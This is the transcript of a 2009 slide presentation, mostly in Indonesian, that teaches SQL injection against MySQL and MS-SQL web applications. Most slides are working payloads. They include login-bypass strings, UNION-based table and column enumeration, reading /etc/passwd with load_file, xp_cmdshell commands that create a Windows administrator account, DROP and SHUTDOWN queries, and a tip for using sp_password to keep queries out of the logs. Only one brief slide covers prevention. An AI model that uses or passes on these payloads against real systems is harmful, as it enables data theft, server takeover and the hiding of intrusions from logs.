27 maret 2009 by : nazRuL [at] delaforta.net.

Presentasi berjudul: "27 maret 2009 by : nazRuL [at] delaforta.net."— Transcript presentasi:

1 27 maret 2009 by : nazRuL [at] delaforta.net

2 Introduction SQL INJECTION
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

3 Simple Concept ‘ or 1=1-- ‘or ‘’ = ‘ ' or 1=1# ') or '1'='1--
admin'/* etc.....

4 MySQL Injection Input yang tak tervalidasi Penambahan tanda petik (‘)
Pengujian dengan Query “AND”

5 INJECTION... CARI JUMLAH TABEL => ORDER BY CARI LETAK KOLOM
=> UNION SELECT CARI NAMA TABLE > information.schema > limit > group_concat

6 INJECTION (Continue...) * Let’s Get the XxX.. CARI NAMA KOLOM
> information.schema > ‘table_name ‘ == hexa_string > limit > group_concat * Let’s Get the XxX..

7 THE SECRET DIBALIK table information .schema

8 Adavanced... * Magic Query .:. load_file(‘/path/file’);
ex : /etc/passwd .:. into dumpfile (‘/path/fle’); Ex : /tmp/blabla > perm 777 /path/yang/diketahui/

9 MS-SQL Injection Input yang tak tervalidasi Penambahan tanda petik (‘)
Pengujian dengan Query “AND”

10 INJECTION... Mencari nama-nama tabel => having 1=1--
(memanfaatkan error Query SQL) Memanfaatkan query “group by” => (group by table,table having 1=1--)

11 INJECTION... DATA MANIPULATION * UPDATE
(update table_name set column2 where column1=n) * INSERT (insert into table_name values(n,’isi’) * DROP (drop table table_name) * SHUTDOWN

12 Adavanced... * Magic Query .:. Check status user
convert(int,(select+user));-- .:. CMD SheLL queryf - * exec+master..xp_cmdshell ‘net user uname pass /add’ * exec+master..xp_cmdshell ‘net localgroup administartor uname /add’

13 Pencegahan - PHP based - ASP based Convert all to Int
‘Magic’ quotes Off <strip_tags> addslashes function - ASP based Replace ‘ to “ SQL Error Handling

14 Blind-SQL Injection Pengertian....

15 Blind-SQL => WHERE+table_name+NOT+IN+(‘table_yg_muncul’)
# Pencarian table_admin, username ataupun passowrd # UNION+SELECT+1,2,table_name,4+FROM+INFORMATION_SCHEMA.TABLES => WHERE+table_name+NOT+IN+(‘table_yg_muncul’) UNION+SELECT+1,2,column_name,4+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=‘table_yg_diinginkan‘ => WHERE+table_name='user'+AND+ column_name+NOT+ IN+(‘column_yg_muncul’) UNION+SELECT+1,2,user,pass,4+FROM+table_admin

16 # Tips # Mengunakan Concatenation
“untuk menampilkan field dengan banyak column_name” ID+’:’+username+’:’+userpass  ( ID%2B':'%2Busername%2B':'%2Buserpass ) # Menggunakan --sp_password “sp_password berfungsi agar mssql tidak melakukan logs query pada mssql ( kemungkinan hanya terlog pada server) > sering di temui pada web aplication: asp,cfm,aspx, etc..